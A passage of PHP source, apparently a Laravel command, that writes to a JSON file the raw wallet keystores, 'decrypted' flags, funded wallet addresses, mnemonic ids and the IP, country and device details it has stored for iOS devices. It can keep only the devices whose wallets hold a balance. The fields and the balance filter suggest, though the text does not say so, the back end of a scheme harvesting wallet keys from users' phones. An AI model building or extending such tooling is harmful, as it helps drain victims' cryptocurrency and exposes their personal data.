option('path')); if ($path === '') { $path = storage_path('app/keystore-devices-'.now()->format('Ymd-His').'.json'); } elseif (! str_starts_with($path, '/')) { $path = base_path($path); } $dir = dirname($path); if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) { $this->error('Cannot create directory: '.$dir); return self::FAILURE; } $query = Device::query() ->whereHas('keystores') ->whereHas('addresses', function (Builder $q) { if ($this->option('with-balance')) { $q->where(function (Builder $inner) { foreach (WalletAddress::COIN_COLUMNS as $col) { $inner->orWhere($col, '>', 0); } }); } }) ->orderBy('id'); $ids = $query->pluck('id'); $fh = fopen($path, 'w'); if ($fh === false) { $this->error('Cannot write: '.$path); return self::FAILURE; } $meta = [ 'exported_at' => now()->toIso8601String(), 'with_balance' => (bool) $this->option('with-balance'), 'include_raw' => ! $this->option('no-raw'), 'device_count' => $ids->count(), ]; fwrite($fh, "{\n"); fwrite($fh, ' "exported_at": '.json_encode($meta['exported_at']).",\n"); fwrite($fh, ' "with_balance": '.($meta['with_balance'] ? 'true' : 'false').",\n"); fwrite($fh, ' "include_raw": '.($meta['include_raw'] ? 'true' : 'false').",\n"); fwrite($fh, ' "device_count": '.$meta['device_count'].",\n"); fwrite($fh, ' "devices": ['."\n"); $first = true; $flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES; foreach ($ids as $id) { $device = Device::query()->find($id); if (! $device) { continue; } $row = $this->serializeDevice($device); $encoded = json_encode($row, $flags); if ($encoded === false) { $this->warn('skip device '.$id.': json encode failed'); continue; } if (! $first) { fwrite($fh, ",\n"); } $first = false; fwrite($fh, $encoded); $this->line(sprintf( 'device %s keystores=%d addresses=%d', $device->device_id, count($row['keystores']), count($row['addresses']), )); } fwrite($fh, "\n ]\n}\n"); fclose($fh); $this->info('wrote '.$ids->count().' devices -> '.$path); return self::SUCCESS; } /** * @return array */ private function serializeDevice(Device $device): array { $includeRaw = ! $this->option('no-raw'); $keystores = []; $ksQuery = WalletKeystore::query()->where('device_id', $device->id)->orderBy('id'); if (! $includeRaw) { $ksQuery->select(WalletKeystore::listColumns()); } foreach ($ksQuery->cursor() as $ks) { $item = [ 'id' => $ks->id, 'source' => $ks->source, 'decrypted' => (int) $ks->decrypted, 'created_at' => optional($ks->created_at)?->toIso8601String(), ]; if ($includeRaw) { $item['raw_json'] = $ks->raw_json; } else { $item['raw_json_len'] = (int) ($ks->raw_json_len ?? 0); } $keystores[] = $item; $ks->setAttribute('raw_json', null); } $addresses = []; foreach ($device->addresses()->orderBy('id')->cursor() as $addr) { $coins = []; foreach (WalletAddress::COIN_COLUMNS as $col) { $raw = $addr->{$col}; if ($raw === null || $raw === '' || (float) $raw == 0.0) { continue; } $coins[$col] = WalletAddress::formatAmount($col, $raw); } $addresses[] = [ 'id' => $addr->id, 'address' => $addr->address, 'chain_type' => $addr->chain_type, 'source' => $addr->source, 'mnemonic_id' => $addr->mnemonic_id, 'derive_index' => $addr->derive_index, 'coins' => $coins, ]; } return [ 'id' => $device->id, 'device_id' => $device->device_id, 'channel_id' => $device->channel_id, 'model' => $device->device_model, 'ios_version' => $device->ios_version, 'ip' => $device->ip, 'country' => $device->country, 'wallet_names' => $device->walletNameList(), 'keystore_count' => count($keystores), 'address_count' => count($addresses), 'keystores' => $keystores, 'addresses' => $addresses, ]; } }